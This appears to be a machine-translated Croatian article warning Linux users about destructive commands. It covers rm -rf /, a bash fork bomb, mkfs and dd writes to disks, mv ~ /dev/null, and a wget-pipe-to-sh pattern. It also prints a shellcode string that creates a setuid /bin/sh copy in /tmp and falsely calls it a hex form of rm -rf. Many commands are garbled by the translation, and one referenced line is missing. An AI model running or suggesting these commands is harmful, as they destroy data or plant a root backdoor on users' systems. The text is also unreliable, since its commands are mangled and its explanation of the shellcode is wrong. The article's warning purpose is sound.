Linuxove terminalne naredbe su snažne, a Linux neće tražiti potvrdu ako pokrenete naredbu koja će razbiti vaš sustav. Nije neuobičajeno vidjeti trolove koji online preporučuju novim Linux korisnicima da upravljaju ovim naredbama kao šalu.
Učenje naredbi koje ne biste trebali pokrenuti može vam pomoći u zaštiti od trolova, a povećavajući razumijevanje načina na koji Linux radi. Ovo nije iscrpan vodič, a ovdje se naredbe mogu remixirati na različite načine.
Imajte na umu da će mnoge od tih naredbi biti opasne samo ako imaju unaprijed određenu naredbu sudo na Ubuntu - neće raditi drugačije. Na drugim Linux distribucijama, većina naredbi mora biti pokrenuta kao root.
Image Credit: Skull i Crossbones remiksirani od Jason Forda na Twitteru
Naredba rm-rf / briše sve što je moguće, uključujući datoteke na tvrdom disku i datoteke na povezanim prijenosnim medijskim uređajima. Ova naredba je više razumljiva ako je razbijena:
rm - Uklonite sljedeće datoteke.
rf - Run rm rekurzivno (izbrisati sve datoteke i mape unutar određene mape) i prisiliti-ukloniti sve datoteke bez vas upozoriti.
/ - Pokazuje rm da započne s korijenskim direktorijem koji sadrži sve datoteke na računalu i sve montirane medijske uređaje, uključujući udaljene datoteke i prijenosne diskove.
Linux će sretno poslušati ovu naredbu i izbrisati sve bez vašeg upozorenja, pa budite oprezni pri korištenju! Naredba rm također se može koristiti i na drugim opasnim načinima - rm-rf ~ će izbrisati sve datoteke u vašoj početnoj mapi, dok rm-rf. * izbrisat će sve vaše konfiguracijske datoteke.
Lekcija: Čuvajte se rm-rf.
Evo još jednog isječka koda koji se nalazi diljem weba:
char esp [] __attribute__ ((odjeljak (".text"))) / * e.s.p
oslobađanje * /
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
„\ Xff \ Xff \ Xff \ Xff \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ x8d \ x99”
„\ XDF \ x81 \ x68 \ x8d \ x92 \ XDF \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7”
„\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ X83 \ xc4 \ x74 \ x56”
„\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ X80 \ x31”
„\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ Xff \ Xff \ Xff \ x2f \ x62 \ x69”
„\ X6e \ x2f \ x73 \ x68 \ x00 \ X2d \ X63 \ x00”
"Cp -p / bin / sh / tmp / dalje; chmod 4755
/tmp/.beyond;”
Ovo je hex inačica rm-rf / - izvršavanje ove naredbe izbrisat će vaše datoteke kao da ste pokrenuli rm-rf /.
Lekcija: Nemojte voditi čudne izglede, očito prerušene naredbe koje ne razumijete.
Sljedeća linija je jednostavna, ali opasna, bash funkcija:
:() :|: & ;:
Ova kratka crta definira funkciju ljuske koja stvara nove kopije same. Postupak se neprekidno replicira, a kopije se neprekidno repliciraju, brzo zauzimaju sve vaše vrijeme i memoriju procesora. To može uzrokovati zamrzavanje računala. To je u osnovi napad od poricanja službe.
Lekcija: Bash funkcije su moćne, čak i vrlo kratke.
Image Credit: Dake na Wikimedijinu Commons
mkfs.ext4 / dev / sda1naredba je jednostavna za razumijevanje:
mkfs.ext4 - Izradite novi ext4 datotečni sustav na sljedećem uređaju.
/ Dev / sda1 - Određuje prvu particiju na prvom tvrdom disku, koji je vjerojatno u upotrebi.
Zajedno, ova naredba može biti ekvivalentna trčanju formata c: na sustavu Windows - obrišit će datoteke na prvoj particiji i zamijeniti ih novim datotečnim sustavom.
Ova naredba može doći i u drugim oblicima - mkfs.ext3 / dev / sdb2 formatirat će drugu particiju na drugom tvrdom disku s ext3 datotečnim sustavom.
Lekcija: Pazite da pokrenete naredbe izravno na uređajima s tvrdim diskom koji počinju s / dev / sd.
naredba> / dev / sda line radi slično - pokreće naredbu i šalje izlaz te naredbe izravno na vaš prvi tvrdi disk, zapisujući podatke izravno na tvrdi disk i oštećujući vaš datotečni sustav.
naredba - Pokrenite naredbu (može biti bilo koja naredba).
> - Pošaljite izlaz naredbe na sljedeću lokaciju.
/ Dev / SDA - Napišite izlaz naredbe izravno na uređaj tvrdog diska.
Lekcija: Kao što je gore navedeno, pazite da pokrenete naredbe koje uključuju uređaje s tvrdim diskom koji počinju s / dev / sd.
dd if = / dev / slučajni od = / dev / sda linija također će uništiti podatke na jednom od vaših tvrdih diskova.
dd - Izvođenje kopiranja niske razine s jednog mjesta na drugo.
if = / dev / random - Upotrijebite / dev / slučajni (slučajni podaci) kao ulaz - također možete vidjeti mjesta kao što su / dev / nula (nula).
o = / dev / SDA - Izlaz na prvi tvrdi disk, zamjenjujući svoj datotečni sustav slučajnim smećem.
Lekcija: dd kopira podatke s jednog mjesta na drugo, što može biti opasno ako kopirate izravno na uređaj.
Slikovni kredit: Matt Rudge na Flickr
/ dev / null je još jedno posebno mjesto - pomicanje nešto u / dev / null je isto što i uništavanje. Zamislite / dev / null kao crnu rupu. U suštini, mv ~ / dev / null šalje sve vaše osobne datoteke u crnu rupu.
MV - Premjestite sljedeću datoteku ili direktorij na drugo mjesto.
~ - predstavlja cijelu kućnu mapu.
/ Dev / null - Premjestite svoju kućnu mapu na / dev / null, uništavajući sve datoteke i brisanje originalnih kopija.
Lekcija: ~ Znak predstavlja vašu kućnu mapu i premještanje stvari u / dev / null ih uništava.
Gore navedeni redak preuzima skriptu s weba i šalje ga na sh, koji izvršava sadržaj skripte. To može biti opasno ako niste sigurni koja je skripta ili ako ne vjerujete njegovom izvoru - nemojte pokrenuti nepouzdane skripte.
wget - Preuzimanja datoteke. (Vi svibanj također vidjeti curl umjesto wget.)
http://example.com/something - Preuzmite datoteku s ove lokacije.
| - Pišite (pošaljite) izlaz naredbe wget (datoteka koju ste preuzeli) izravno na drugu naredbu.
sh - Pošaljite datoteku u naredbu sh, koja ga izvršava ako je to bash skripta.
Lekcija: Nemojte preuzeti i pokrenuti nepouzdane skripte s weba, čak i pomoću naredbe.
Znate li kakve druge opasne naredbe da novi (i iskusni) korisnici Linuxa ne bi trebali raditi? Ostavite komentar i podijelite ih!